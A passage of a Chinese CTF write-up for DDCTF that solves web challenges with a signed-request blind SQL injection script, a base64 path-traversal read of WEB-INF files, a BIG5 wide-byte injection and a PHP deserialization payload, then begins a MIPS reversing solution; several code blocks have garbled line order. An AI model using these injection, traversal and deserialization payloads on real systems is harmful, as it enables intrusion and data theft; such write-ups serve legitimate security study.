前言
还记得去年的四、五月份参加的DDCTF 混了个名次,蹭了次面试 没想到时间过得这么快,今年的DDCTF现在也比完了 老了老了 这一年我都干了啥.jpg
今年的题比去年的质量好很多,且加上了最有亮点的反作弊系统,每道题每个人的flag不一样,连某些逆向题的源码都不一样,可见十分用心 这次学到了很多,希望这样有质量的比赛能够继承下去
WEB
Web1 - 数据库的秘密
一道前端计算签名然后sql盲注的web题
进去就是非法链接,很明显需要burp
抓一下包然后添个HTTP的X-Forwarded-For
为123.232.23.245
然后我们将得到一个很常规的查询界面
从源码来看传了四个参数过去分别是
id
,title
,date
,author
如果我们随便POST一个
id=1&author=asd&date=1&title=s
会提示param error
那么很有可能用JS
搞了些事情了,找到页面中引用的JS
文件——main.js
和math.js
查看submit()
函数
function signGenerate(obj, key) {
var str0 = '';
for (i in obj) {
if (i != 'sign') {
= '';
str1 = i + '=' + obj[i];
str1 += str1
str0
}
}console.log(str0)
console.log(key)
return hex_math_enc(str0 + key)
;
}var obj = {
id: '',
title: '',
author: '',
date: '',
time: parseInt(new Date().getTime() / 1000)
;
}
function submitt() {
'id'] = document.getElementById('id').value;
obj['title'] = document.getElementById('title').value;
obj['author'] = document.getElementById('author').value;
obj['date'] = document.getElementById('date').value;
obj[var sign = signGenerate(obj, key);
document.getElementById('queryForm').action = "index.php?sig=" + sign + "&time=" + obj.time;
document.getElementById('queryForm').submit()
}
很明显给传递的参数+时间戳数组签了个名
然后将from
的地址改为index.php?sig=" + sign + "&time=" + obj.time;
说明它需要把参数+时间戳的签名算对了,然后再POST
到一个加上sig
和time
的地址才能传递参数
我们可以把脚本下载下来,在本地搭一个环境,然后做一些改动如输出签名和时间戳,然后我们再去burp重放一下就能测试哪个参数存在注入漏洞了
在签名函数return
签名之前,我们将一些主要信息输出,方便测试
console.log(obj)
console.log("time:"+obj.time)
console.log("sig:"+hex_math_enc(str0 + key))
return hex_math_enc(str0 + key)
这里有个小技巧,因为author
参数是hidden
的,所以我们可以把它变成text
,本地方便我们输入测试得到签名
效果如下
得到签名之后我们再去burp重放一下就好了
后面我测试得
author
填单引号的时候界面的数据没了,很明显这个参数可能存在注入
尝试基本的
' or 1 #
那么可以确定存在
author
这个参数存在注入了
再测试一下联合注入啥的,会被假狗waf掉,我直接是选择了盲注,也没啥大问题
我的脚本是选择的PyV8
库来运行JS
脚本
将签名的函数提取出来,然后通过PyV8
库包装成一个py函数就能得到签名了
Python
代码如下:
# coding:utf-8
import requests, PyV8
#用PyV8将JS签名函数包装成一个PY函数
def js(author='', date='', id='', title=''):
= PyV8.JSContext()
ctxt
ctxt.enter()locals.author_wz = author
ctxt.locals.date_wz = date
ctxt.locals.id_wz = id
ctxt.locals.title_wz = title
ctxt.locals.key = "adrefkfweodfsdpiru"
ctxt.= ctxt.eval(
func '''
var hexcase = 0; /* hex output format. 0 - lowercase; 1 - uppercase */
var b64pad = ""; /* base-64 pad character. "=" for strict RFC compliance */
var chrsz = 8; /* bits per input character. 8 - ASCII; 16 - Unicode */
/*
* These are the functions you'll usually want to call
* They take string arguments and return either hex or base-64 encoded strings
*/
function hex_math_enc(s) {
return binb2hex(core_math_enc(str2binb(s), s.length * chrsz));
}
function b64_math_enc(s) {
return binb2b64(core_math_enc(str2binb(s), s.length * chrsz));
}
function str_math_enc(s) {
return binb2str(core_math_enc(str2binb(s), s.length * chrsz));
}
function hex_hmac_math_enc(key, data) {
return binb2hex(core_hmac_math_enc(key, data));
}
function b64_hmac_math_enc(key, data) {
return binb2b64(core_hmac_math_enc(key, data));
}
function str_hmac_math_enc(key, data) {
return binb2str(core_hmac_math_enc(key, data));
}
/*
* Perform a simple self-test to see if the VM is working
*/
function math_enc_vm_test() {
return hex_math_enc("abc") == "a9993e364706816aba3e25717850c26c9cd0d89d";
}
/*
* Calculate the SHA-1 of an array of big-endian words, and a bit length
*/
function core_math_enc(x, len) {
/* append padding */
x[len >> 5] |= 0x80 << (24 - len % 32);
x[((len + 64 >> 9) << 4) + 15] = len;
var w = Array(80);
var a = 1732584193;
var b = -271733879;
var c = -1732584194;
var d = 271733878;
var e = -1009589776;
for (var i = 0; i < x.length; i += 16) {
var olda = a;
var oldb = b;
var oldc = c;
var oldd = d;
var olde = e;
for (var j = 0; j < 80; j++) {
if (j < 16) w[j] = x[i + j];
else w[j] = rol(w[j - 3] ^ w[j - 8] ^ w[j - 14] ^ w[j - 16], 1);
var t = safe_add(safe_add(rol(a, 5), math_enc_ft(j, b, c, d)), safe_add(safe_add(e, w[j]), math_enc_kt(j)));
e = d;
d = c;
c = rol(b, 30);
b = a;
a = t;
}
a = safe_add(a, olda);
b = safe_add(b, oldb);
c = safe_add(c, oldc);
d = safe_add(d, oldd);
e = safe_add(e, olde);
}
return Array(a, b, c, d, e);
}
/*
* Perform the appropriate triplet combination function for the current
* iteration
*/
function math_enc_ft(t, b, c, d) {
if (t < 20) return (b & c) | ((~b) & d);
if (t < 40) return b ^ c ^ d;
if (t < 60) return (b & c) | (b & d) | (c & d);
return b ^ c ^ d;
}
/*
* Determine the appropriate additive constant for the current iteration
*/
function math_enc_kt(t) {
return (t < 20) ? 1518500249 : (t < 40) ? 1859775393 : (t < 60) ? -1894007588 : -899497514;
}
/*
* Calculate the HMAC-SHA1 of a key and some data
*/
function core_hmac_math_enc(key, data) {
var bkey = str2binb(key);
if (bkey.length > 16) bkey = core_math_enc(bkey, key.length * chrsz);
var ipad = Array(16),
opad = Array(16);
for (var i = 0; i < 16; i++) {
ipad[i] = bkey[i] ^ 0x36363636;
opad[i] = bkey[i] ^ 0x5C5C5C5C;
}
var hash = core_math_enc(ipad.concat(str2binb(data)), 512 + data.length * chrsz);
return core_math_enc(opad.concat(hash), 512 + 160);
}
/*
* Add integers, wrapping at 2^32. This uses 16-bit operations internally
* to work around bugs in some JS interpreters.
*/
function safe_add(x, y) {
var lsw = (x & 0xFFFF) + (y & 0xFFFF);
var msw = (x >> 16) + (y >> 16) + (lsw >> 16);
return (msw << 16) | (lsw & 0xFFFF);
}
/*
* Bitwise rotate a 32-bit number to the left.
*/
function rol(num, cnt) {
return (num << cnt) | (num >>> (32 - cnt));
}
/*
* Convert an 8-bit or 16-bit string to an array of big-endian words
* In 8-bit function, characters >255 have their hi-byte silently ignored.
*/
function str2binb(str) {
var bin = Array();
var mask = (1 << chrsz) - 1;
for (var i = 0; i < str.length * chrsz; i += chrsz)
bin[i >> 5] |= (str.charCodeAt(i / chrsz) & mask) << (24 - i % 32);
return bin;
}
/*
* Convert an array of big-endian words to a string
*/
function binb2str(bin) {
var str = "";
var mask = (1 << chrsz) - 1;
for (var i = 0; i < bin.length * 32; i += chrsz)
str += String.fromCharCode((bin[i >> 5] >>> (24 - i % 32)) & mask);
return str;
}
/*
* Convert an array of big-endian words to a hex string.
*/
function binb2hex(binarray) {
var hex_tab = hexcase ? "0123456789ABCDEF" : "0123456789abcdef";
var str = "";
for (var i = 0; i < binarray.length * 4; i++) {
str += hex_tab.charAt((binarray[i >> 2] >> ((3 - i % 4) * 8 + 4)) & 0xF) + hex_tab.charAt((binarray[i >> 2] >> ((3 - i % 4) * 8)) & 0xF);
}
return str;
}
/*
* Convert an array of big-endian words to a base-64 string
*/
function binb2b64(binarray) {
var tab = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
var str = "";
for (var i = 0; i < binarray.length * 4; i += 3) {
var triplet = (((binarray[i >> 2] >> 8 * (3 - i % 4)) & 0xFF) << 16) | (((binarray[i + 1 >> 2] >> 8 * (3 - (i + 1) % 4)) & 0xFF) << 8) | ((binarray[i + 2 >> 2] >> 8 * (3 - (i + 2) % 4)) & 0xFF);
for (var j = 0; j < 4; j++) {
if (i * 8 + j * 6 > binarray.length * 32) str += b64pad;
else str += tab.charAt((triplet >> 6 * (3 - j)) & 0x3F);
}
}
return str;
}
var obj = {
id: id_wz,
title: title_wz,
author: author_wz,
date: date_wz,
//time : times
time : parseInt(new Date().getTime() / 1000-100)
};
function signGenerate(obj,key) {
var str0 = '';
for (i in obj) {
if (i != 'sign') {
str1 = '';
str1 = i + '=' + obj[i];
str0 += str1
}
}
return hex_math_enc(str0 + key)
};
(signGenerate(obj,key));
''')
vars = ctxt.locals
return func, vars.obj.time, vars.id_wz, vars.author_wz, vars.date_wz, vars.title_wz
= 'http://116.85.43.88:8080/ZVDHKBUVUZSTJCNX/dfe3ia/index.php'
url = {"User-Agent": "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0",
hea "X-forwarded-for": "123.232.23.245"}
= [1, 2, 4, 8, 16, 32, 64]
l = '\'and ord(mid((select secvalue from ctf_key5 limit {},1),{},1))&{} #'
payload
# '\'and ord(mid((select schema_name from information_schema.schemata limit {},1),{},1))&{} #'
# information_schema
# ddctf
# '\'and ord(mid((select table_name from information_schema.tables where table_schema like 0x6464637466 limit {},1),{},1))&{} #'
# ctf_key5
# '\'and ord(mid((select column_name from information_schema.columns where table_name like 0x6374665f6b657935 limit {},1),{},1))&{} #'
# secvalue
# '\'and ord(mid((select secvalue from ctf_key5 limit {},1),{},1))&{} #'
# DDCTF{ZJKGOFGPHSLJHIYG}
= ""
str1 for t in range(100):#limit offset
= ""
str1 for j in range(1, 100):#string offset
= 0
n for i in l:# 按位与
= js(author=payload.format(t, j, i))
para = "?sig=" + str(para[0]) + "&time=" + str(para[1])
pad = {'id': para[2], 'author': para[3], 'date': para[4], 'title': para[5], 'time': str(para[1])}
data # 2420
= requests.post(url + pad, headers=hea, data=data).text
result if len(result) == 2420:
+= i
n = len(str1)
length += chr(n) if n != 0 else ""
str1 print str1
if length == len(str1):
break
这个方法有一点要注意,就是PyV8
的JS
脚本中的new Date().getTime() / 1000
会与服务器或者浏览器获取的时间有误差,会快那么个一两百,当时我写完之后就一直提示time error
,花了接近三个小时Debug,最后对比从浏览器获取的时间发现快了一两百秒,然后我就默默的手动加上了一句-300
就成功了。这次复现又变成-100
才能正确了,这是一个坑点2333
看到有的师傅是直接把源码下载到本地然后搭好本地环境,写一个本地的php脚本,接受那几个参数,然后通过curl这类函数将得到的参数进行转发,然后用sqlmap直接渗透本地的php。这个思路也很行。(想起来有好久都没有用过sqlmap了)
Web2 - 专属链接
这一题很不错,脑洞很大,但是不失度 主要还是对jsp这方面接触很少,而且本学期才开始学的java,2333 但是由于语法跟C++差不多,多多少少还是能看懂的 说题目吧 首先是一个静态页面,啥也找不出来,卡了很久
一开始顺着提示——专属登录链接,然后再源码里面找到了
<meta property="qc:admins" content="36510766376011725352163757752314571645060454"/>
还以为什么QQ平台第三方登录漏洞什么的,后来发现是纯粹浪费时间=
= 首页源码提示<!--/flag/testflag/yourflag-->
访问之
提示
java.lang.ArrayIndexOutOfBoundsException
尝试了很久得出这样的一个访问链接http://116.85.48.102:5050/flag/testflag/{fasfasf}
得到下列错误
.base/java.lang.NumberFormatException.forInputString(NumberFormatException.java:65)
java.base/java.lang.Long.parseLong(Long.java:692)
java.base/java.lang.Long.valueOf(Long.java:1144)
java.didichuxing.ctf.controller.user.FlagController.submitFlag(FlagController.java:36) com
我们只能得到有个com.didichuxing.ctf.controller.user.FlagController
这个类名,还有这个大括号里面是要求一个long
然后我尝试爆破long,失败,毕竟long这么大,还以为是啥小点的数,因为实在是没啥思路
后来发现这个提示——“专属登录链接”的作用是叫你访问http://116.85.48.102:5050/login
然后找到一个废弃的登录页面,一点用也没有的那种
而且这个博客的名字看起来就像乱写的而且没啥特征,看起来去google找也不会找到啥信息
然而事实是
Github
上还真的有源码https://github.com/xingfly/SBlog
源码目录结构
─src
└─main
├─java
│ └─com
│ └─xingfly
│ ├─controller
│ │ ├─admin
│ │ └─user
│ ├─dao
│ ├─interceptor
│ ├─model
│ │ └─dto
│ ├─service
│ │ └─impl
│ └─util
├─resources
│ ├─mapper
│ │ AboutMapper.xml
│ │ ArticleMapper.xml
│ │ CategoryMapper.xml
│ │ UserMapper.xml
│ │ WebAppMapper.xml
│ ├─mybatis
│ │ config.xml
│ └─properties
│ db.properties
└─webapp
├─images
├─static
└─WEB-INF
│ applicationContext.xml
│ mvc-dispatcher-servlet.xml
│ web.xml
└─pages
├─admin
│ ├─about
│ ├─article
│ ├─category
│ ├─home
│ ├─init
│ └─user
├─common
└─user
而在首页,图标出现了奇怪的缺失纹路 找到对应的ico地址
下载下来查看发现这个脑洞,emmmm,说实话在比赛的时候我是没有发现的
然后我们可以知道这个链接就是通往flag的地方了
http://116.85.48.102:5050/image/banner/ZmF2aWNvbi5pY28=
ZmF2aWNvbi5pY28=
base64解码之后favicon.ico
我们结合源码目录和这个路径尝试文件下载
查资料发现springmvc+mybatis的访问根目库是在webapp
下
所以尝试下载../../WEB-INF/applicationContext.xml
,访问http://116.85.48.102:5050/image/banner/Li4vLi4vV0VCLUlORi9hcHBsaWNhdGlvbkNvbnRleHQueG1s
,发现下载成功
然后搜索一下SpringMVC
目录结构,由上面得到的com.didichuxing.ctf.controller.user.FlagController
尝试下载class
目录下的FlagController
类。同样地将../../WEB-INF/classes/com/didichuxing/ctf/model/Flagcontroler.class
base64转码然后拼接url访问得到源码
丢进jd-gui
看一下
package com.didichuxing.ctf.controller.user;
import com.didichuxing.ctf.model.Flag;
import com.didichuxing.ctf.service.FlagService;
@RestController
@RequestMapping({"flag"})
public class FlagController
{
@Autowired
private FlagService flagService;
@RequestMapping(value={"/getflag/{email:[0-9a-zA-Z']+}"}, method={org.springframework.web.bind.annotation.RequestMethod.POST})
public String getFlag(@PathVariable("email") String email, ModelMap model)
{
= this.flagService.getFlagByEmail(email);
Flag flag return "Encrypted flag : " + flag.getFlag();
}
@RequestMapping({"/testflag/{flag}"})
public String submitFlag(@PathVariable("flag") String flag, ModelMap model)
{
String[] fs = flag.split("[{}]");
Long longFlag = Long.valueOf(fs[1]);
int i = this.flagService.exist(flag);
if (i > 0) {
return "pass!!!";
}
return "failed!!!";
}
}
找到了我们之前访问/flag/testflag/{asdf}
的逻辑了
很明显要得到flag就要看一个flagService.getFlagByEmail()
函数以及知道参数email
是啥,我们按照上面的方法继续读取flagService
类和flag
类下来,然后发现flagService
类是一个public abstract interface
类,就很迷,里面啥代码都没有(其实在对应的mapper.xml里面)
将里面的这三个文件下载下来进行分析
在
applicationContext.xml
找到初始化类,下载之
找到flag加密代码逻辑
try{
this.flagService.deleteAll();
String path = ctx.getServletContext().getRealPath("/WEB-INF/classes/emails.txt");
String ksPath = ctx.getServletContext().getRealPath("/WEB-INF/classes/sdl.ks");
String emailsString = FileUtils.readFileToString(new File(path), "utf-8");
String[] emails = emailsString.trim().split("\n");
KeyStore keyStore = KeyStore.getInstance(KeyStore.getDefaultType());
FileInputStream inputStream = new FileInputStream(ksPath);
.load(inputStream, this.p.toCharArray());
keyStoreKey key = keyStore.getKey("www.didichuxing.com", this.p.toCharArray());
Cipher cipher = Cipher.getInstance(key.getAlgorithm());
.init(1, key);
cipherSecretKeySpec signingKey = new SecretKeySpec("sdl welcome you !".getBytes(), "HmacSHA256");
Mac mac = Mac.getInstance("HmacSHA256");
.init(signingKey);
macSecureRandom sr = new SecureRandom();
for (String email : emails) {
String flag = "DDCTF{" + Math.abs(sr.nextLong()) + "}";
String uuid = UUID.randomUUID().toString().replace("-", "s");
byte[] data = cipher.doFinal(flag.getBytes());
byte[] e = mac.doFinal(String.valueOf(email.trim()).getBytes());
= new Flag();
Flag flago .setId(Integer.valueOf(id));
flago.setFlag(byte2hex(data));
flago.setEmail(byte2hex(e));
flago.setOriginFlag(flag);
flago.setUuid(uuid);
flago.setOriginEmail(email);
flagothis.flagService.save(flago);
System.out.println(email + "同学的入口链接为:http://116.85.48.102:5050/welcom/" + uuid);
++;
idSystem.out.println(flago);
}
}
大概意思是取/WEB-INF/classes/emails.txt
里面的email
然后用密钥sdl welcome you !
和加密算法HmacSHA256
进行加密,得到flag
类里面的email
,未加密的email
是OriginFlag
然后将/WEB-INF/classes/sdl.ks
文件中提取出来的私钥对一个随机的flag
进行签名,然后转为十六进制后存进数据库
那么我们的思路就很简单了 1. 找到属于我的email 2.
通过加密算法HmacSHA256
和密钥sdl welcome you !
对email进行加密
3.
结合刚才我们在com.didichuxing.ctf.controller.user.FlagController
里面发现的代码逻辑,将第2步得到的email
加密值给POST
到/flag/getflag/加密的email
下,得到加密后的flag
4.
同样的方法下载/WEB-INF/classes/sdl.ks
,然后提取出公钥,对签名后的flag
进行解密
然后我第1步就卡住了= =
我尝试了很多个email,包括我自己的平台注册email
和xxx@didichuxing.com
这种
然后经Wfox师傅提醒是首页的一个长的离谱的email
才反应过来这个骚套路
就是这货
然后我们可以直接到这个网站(http://tool.oschina.net/encrypt)进行
HmacSHA256
加密
用burp
POST
过去,不出意外地得到了签名后的flag
然后就是提取公钥解密这个flag了
写
java
这边有点吃力,写了挺久才得到正确解,主要还是这个KeyStore
文件提取不了解
import java.security.Key;
import java.security.KeyStore;
import javax.crypto.Cipher;
import java.io.FileInputStream;
public class test {
static String p;
public static void main(String[] args) throws Exception {
= "sdl welcome you !".substring(0, "sdl welcome you !".length() - 1).trim().replace(" ", "");
p String ksPath = "Path_to_classes_sdl.ks";
byte[] data = hex2Bytes("Your_Encrypted_Flag_HASH_HEX");
KeyStore keyStore = KeyStore.getInstance(KeyStore.getDefaultType());
FileInputStream inputStream = new FileInputStream(ksPath);
.load(inputStream, p.toCharArray());
keyStoreKey key = keyStore.getKey("www.didichuxing.com", p.toCharArray());
Cipher cipher1 = Cipher.getInstance(key.getAlgorithm());
Key pubKey = keyStore.getCertificate("www.didichuxing.com").getPublicKey();
.init(Cipher.DECRYPT_MODE, pubKey);
cipher1byte[] f = cipher1.doFinal(data);
System.out.println(byte2hex(f));
}
public static String byte2hex(byte[] b) {
StringBuilder hs = new StringBuilder();
for (int n = 0; (b != null) && (n < b.length); n++) {
String stmp = Integer.toHexString(b[n] & 0xFF);
if (stmp.length() == 1)
.append('0');
hs.append(stmp);
hs}
return hs.toString().toUpperCase();
}
public static byte[] hex2Bytes(String hexString) {
if (hexString == null || hexString.equals("")) {
return null;
}
= hexString.toUpperCase();
hexString int length = hexString.length() / 2;
char[] hexChars = hexString.toCharArray();
byte[] d = new byte[length];
for (int i = 0; i < length; i++) {
int pos = i * 2;
[i] = (byte) (charToByte(hexChars[pos]) << 4 | charToByte(hexChars[pos + 1]));
d}
return d;
}
static byte charToByte(char c) {
return (byte) "0123456789ABCDEF".indexOf(c);
}
}
得到输出44444354467B333631343538353036323532393832353737337D
"44444354467B333631343538353036323532393832353737337D".decode("hex")
3614585062529825773} DDCTF{
这一题比较的脑洞,也比较考验jsp这边的经验,也难怪卡了这么久
Web3 - 注入的奥妙
题目提示得很明显,Sql注入 然后进去就是一个标准的注入套路,还有注入回显
url是这种
http://116.85.48.105:5033/05069d93-1384-4097-a7e7-047658cacbfa/well/getmessage/1
,应该是经过重写的一个参数传递方式
测试了几个常规的payload,发现应该是用addslashes
等函数过滤的,特殊字符加了反斜杠转义
由于页面提示得那么明显,我们直接尝试宽字节注入
这个网址挺不错的,可以将十六进制数直接变成各个编码对应的字 http://www.qqxiuzi.cn/bianma/zifuji.php
我们随便选几个会出现宽字节注入的编码(GBK2312不行,因为它低字节没有5C
)
测试到BIG5编码(没做这题之前并不知道这个编码)
然后测试这样的payload
——綅'or%201%23
发现成功转义了反斜杠,逃逸出了单引号 稍后我们再结合源码解释一下为什么会出现这样的效果 毕竟写文章是为了总结,不仅仅是为了记录姿势是吧(大佬们可以跳过此环节) 然后我们就可以进行常规的注入了 我直接拿来Web1的盲注脚本直接用了
# coding:utf-8
import requests,urllib
= 'http://116.85.48.105:5033/05069d93-1384-4097-a7e7-047658cacbfa/well/getmessage/1'
url = {"User-Agent": "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0",
hea "X-forwarded-for": "123.232.23.245"}
= "綅'and ord(mid((select schema_name from information_schema.schemata limit {},1),{},1))&{}#"
payload #information_schema,sqli 0x73716c69
# payload = "綅'and ord(mid((select table_name from information_schema.tables where table_schema lilikeke 0x73716c69 limit {},1),{},1))&{}#"
#route_rules 0x726f7574655f72756c6573,message 0x6d657373616765
# id,pattern,action,rulepass
# payload = "綅'and ord(mid((select column_name from information_schema.columns where table_name lilikeke 0x6d657373616765 limit {},1),{},1))&{} #"
#contents,id,name
= [1, 2, 4, 8, 16, 32, 64]
l = ""
str1 for t in range(1000):
= ""
str1 for j in range(1, 1000):
= 0
n for i in l:
= "綅'and ord(mid((select group_concat(rulepass) from sqli.route_rules limit {},1),{},1))&{}#"
payload = requests.get(url + urllib.quote(payload.format(t, j, i))).text
result # print result
if "test1" in result:
+= i
n
= len(str1)
length += chr(n) if n!=0 else ""
str1 print str1
if length ==len(str1):
break
得到sqli.route_rules
表的所有信息如下
id
1,12,13,15
rulepass
cd4229e671a8830debfcbb049a23399c,5ed16f9c7c27cb846eaf15c19fe40093,3228ad498d5a20d1d22d6a4a15fed4d2
action
Well#getmessage,JustTry#self , JustTry#try , static/bootstrap/css/backup.zip
pattern
get*/ u/well/getmessage/ s
get*/ u/justtry/self/ s
post*/ u/justtry/try 2
于是我们直接下载到了源码备份static/bootstrap/css/backup.zip
注意到Test
类
以及
Justtry
类的try
方法
看得出来出题人偷懒了,直接给了我们一个提示,我们只需要构造好序列化字符串给try
函数启动Test
类的析构函数就能得到flag
了
<?php
class Test
{public $user_uuid;
public $fl;
public function __construct()
{echo 'hhkjjhkhjkhjkhkjhkhkhk';
}public function __destruct()
{$this->getflag('ctfuser', $this->user_uuid);
}public function setflag($m = 'ctfuser', $u = 'default', $o = 'default')
{$user = array(
'name' => $m,
'oldid' => $o,
'id' => $u
;
)echo $this->fl->set($user, 2);
}
}class Flag
{public $sql;
}class SQL
{
}
$testzero = new Test();
$testzero->user_uuid="05069d93-1384-4097-a7e7-047658cacbfa";
$testzero->fl=new Flag();
$testzero->fl->sql = new SQL();
$serialize = serialize($testzero);
echo $serialize;
?>
然后我们将序列化之后的字符串POST
给/justtry/try
目录
hhkjjhkhjkhjkhkjhkhkhkO:4:"Test":2:{s:9:"user_uuid";s:36:"05069d93-1384-4097-a7e7-047658cacbfa";s:2:"fl";O:4:"Flag":1:{s:3:"sql";O:3:"SQL":0:{}}}
恩,发现是没反应的
于是我再次卡了挺久,经师傅提醒才发现,类名需要带上路径,一口老血 修改成这个样子就好了
O:17:"Index\Helper\Test":2:{s:9:"user_uuid";s:36:"05069d93-1384-4097-a7e7-047658cacbfa";s:2:"fl";O:17:"Index\Helper\Flag":1:{s:3:"sql";O:16:"Index\Helper\SQL":0:{}}}
成功获取flag
宽字节注入漏洞原理 看这篇文章
逆向
逆向1 - MIPS
这题是我在web没思路期间做的,比较坑人,而且自己的姿势也不够多,导致用了笨方法,消耗了很多时间 题目是一个mips的elf文件,逻辑主要输你输入16个值,然后经过检验之后你输入的值就是flag,然后帮你输出 在ubuntu下装qemu折腾了好久才运行起来,但是无论你输入啥都会段错误 那肯定是加了花,但是一般加花程序也能运行,只是混淆了反编译器的反编译代码,但是这次的花把自己给加到段错误不能运行了,我是很服气的,导致我纠结了很久是不是类似于栈溢出跳转到别的地方执行之类的骚套路。事实证明他只是加花把自己加死了= = 先分析一下这个花
在程序检验flag的流程里,出现了这种无法指执行的指令如jalx 0xDAC0BAC
、sh $sp, 0x2EB($t7)
、甚至是不是指令的垃圾数据.word 0x54F102EB
但是他们都有一个共同点,就是将指令变成数据之后,他们的较低位的两字节都是02EB
所以这题的预期解法应该是把这些较低字节为
02EB
的垃圾数据清除后再运行程序,就会很清楚地看到16个检验循环,进而得到16个等式构成一个方程组解出16个变量,即flag
而我就比较牛逼了
由于缺乏这种去花常识,我直接用python解析ida的代码,用自己的逻辑跳过垃圾指令,从而自己得出方程(这就是一个笨方法)
首先将存进栈内的256个检验变量计算出来,所以我们将IDA反汇编的代码从地址0x40042C
到0x40187C
复制出来放到load.txt
,然后将地址0x401880
到0x403210
的代码放到loop.txt
中,然后运行这个python脚本就好了.
switch=1分析load,等于0则分析loop
import re
= [0] * 256
fp = ["lui", "sra", "li", "sw", "lw", "xori", "ori", "sll", "negu", "mul", 'addu', 'subu', 'beq']
instructionList
def sra(v0, offset):
= 0
t = bin(v0)[2:].zfill(32)
num2bytes while t < offset:
= (0x80000000 if num2bytes[0] == '1' else 0)
n = ((v0 >> 1) | n)
v0 += 1
t return v0
def li(v0, immidiateNum):
if isinstance(immidiateNum, str):
if '0x' in immidiateNum:
= int(immidiateNum, 16)
immidiateNum else:
= int(immidiateNum)
immidiateNum return immidiateNum
def lui(v0, immidiateNum):
return immidiateNum << 16
def sll(v0, offset):
return (v0 << offset) & 0xffffffff
def xor(v0, v1):
return (v0 ^ v1) & 0xffffffff
def ori(v0, v1):
return (v0 | v1) & 0xffffffff
def negu(v0):
= bin(v0)[2:].zfill(32)
num2bytes return int("".join(map(lambda x: "0" if x == "1" else "1", num2bytes)), 2) + 1
def sw(v0, offset):
if isinstance(offset, str):
= int(offset, 16)
offset / 4 - 2] = v0
fp[offset
def lw(v0, offset):
return fp[offset / 4 - 2]
def addiu(v0, v1):
return (v0 + v1) & 0xffffffff
def subu(v0, v1):
return (v0 - v1) & 0xffffffff
def mul(v0, v1):
return (v0 * v1) & 0xffffffff
def numeric(immidiateNum):
if isinstance(immidiateNum, str):
if '0x' in immidiateNum:
= int(immidiateNum, 16)
immidiateNum else:
= int(immidiateNum)
immidiateNum return immidiateNum
def isInstruction(line):
try:
if len(line) < 20:
return False
= re.findall("\.text:[0-9A-F]+\s+?([^\s]+?)\s+", line)[0]
instruction if instruction not in instructionList:
return False
return True
except Exception, e:
print "Some wrongs occured:", e
print "The line is:", line,
return False
= 0
v0 = 0
v1 = 0
a0
= 1
switch if switch:
= open(r"C:\Users\windows8.Windows\Desktop\load_r.txt", "r+")
f else:
= open(r"C:\Users\windows8.Windows\Desktop\loop_r.txt", "r+")
f = f.readlines()
lines = locals()
globalV if switch:
for line in lines:
if isInstruction(line):
= re.findall("\.text:[0-9A-F]+\s+?([^\s]+?)\s+", line)[0]
ins = re.findall("\.text:[0-9A-F]+\s+?[^\s]+?\s+\$(.+?),", line)[0]
rd if rd not in globalV:
print "Not expect rd:", line,
continue
if ins == "li":
= re.findall("\.text:[0-9A-F]+\s+?[^\s]+?\s+\$.+?,\s*([0-9A-Fx]+)", line)[0]
imint = li(globalV[rd], numeric(imint))
globalV[rd]
elif ins == "lui":
try:
= re.findall("\.text:[0-9A-F]+\s+?[^\s]+?\s+\$.+?,\s*([0-9A-Fx]+)", line)[0]
imint = lui(globalV[rd] if globalV[rd] else 0, numeric(imint))
globalV[rd] except Exception, e:
print "Can't not lui:", line, "Reason:", e, "."
elif ins == "sw" and "($fp)" in line:
try:
= re.findall("\.text:[0-9A-F]+\s+?[^\s]+?\s+\$.+?,\s*([0-9A-Fx]+)", line)[0]
offset except Exception, e:
print "Exception:", e, line,
continue
if offset == "0x410":
continue
sw(globalV[rd], numeric(offset))elif ins == "lw":
= re.findall("\.text:[0-9A-F]+\s+?[^\s]+?\s+\$.+?,\s*([0-9A-Fx]+)", line)[0]
offset try:
if offset == "0x410":
continue
= lw(globalV[rd], numeric(offset))
globalV[rd] except Exception, e:
print line, e
elif ins == "xori":
= re.findall("\.text:[0-9A-F]+\s+?[^\s]+?\s+\$.+?,\s*([0-9A-Fx]+)", line)[0]
offset = xor(globalV[rd], numeric(offset))
globalV[rd] elif ins == "xor":
print "Attention:", line,
continue
elif ins == "ori":
= re.findall("\.text:[0-9A-F]+\s+?[^\s]+?\s+\$.+?,\s*([0-9A-Fx]+)", line)[0]
offset = xor(globalV[rd], numeric(offset))
globalV[rd] elif ins == 'addi' or ins == "addiu":
if ins == 'addi':
print 'Attention:', line,
continue
= re.findall("\.text:[0-9A-F]+\s+?[^\s]+?\s+\$.+?,\s*([0-9A-Fx]+)", line)[0]
offset = addiu(globalV[rd], numeric(offset))
globalV[rd] elif ins == "subu":
= re.findall("\.text:[0-9A-F]+\s+?[^\s]+?\s+\$.+?,\s*\$([0-9A-Fa-z]+)", line)[0]
rs if rs in globalV:
= subu(globalV[rd], globalV[rs])
globalV[rd] else:
print 'Not expect rs:', line,
elif ins == 'sra':
= re.findall("\.text:[0-9A-F]+\s+?[^\s]+?\s+\$.+?,\s*([0-9A-Fx]+)", line)[0]
offset = sra(globalV[rd], numeric(offset))
globalV[rd] elif ins == 'sll':
= re.findall("\.text:[0-9A-F]+\s+?[^\s]+?\s+\$.+?,\s*([0-9A-Fx]+)", line)[0]
offset = sll(globalV[rd], numeric(offset))
globalV[rd]
elif ins == "mul":
= re.findall("\.text:[0-9A-F]+\s+?[^\s]+?\s+\$.+?,\s*\$([0-9A-Fa-z]+)", line)[0]
rt = re.findall("\.text:[0-9A-F]+\s+?[^\s]+?\s+\$.+?,\s*\$[0-9A-Fa-z]+,\s*\$([0-9A-Fa-z]+)", line)
rs if len(rs) > 0:
= rs[0]
rs
if rt not in globalV or rs not in globalV:
print 'Not expect rt or rs:', line,
continue
= mul(globalV[rs], globalV[rt])
globalV[rd] else:
= mul(globalV[rd], globalV[rt])
globalV[rd] elif ins == "negu":
= re.findall("\.text:[0-9A-F]+\s+?[^\s]+?\s+\$.+?,\s*\$([0-9A-Fa-z]+)", line)[0]
rs = negu(globalV[rs])
globalV[rd]
else:
print "[!]Attention:", line,
else:
print "Skipping line:", line,
pass
print map(lambda x: hex(x), fp)
print fp
else:
= 1
n = []
p = []
p_all = []
result = 0
neguF for line in lines:
if isInstruction(line):
= re.findall("\.text:[0-9A-F]+\s+?([^\s]+?)\s+", line)[0]
ins = re.findall("\.text:[0-9A-F]+\s+?[^\s]+?\s+\$(.+?),", line)[0]
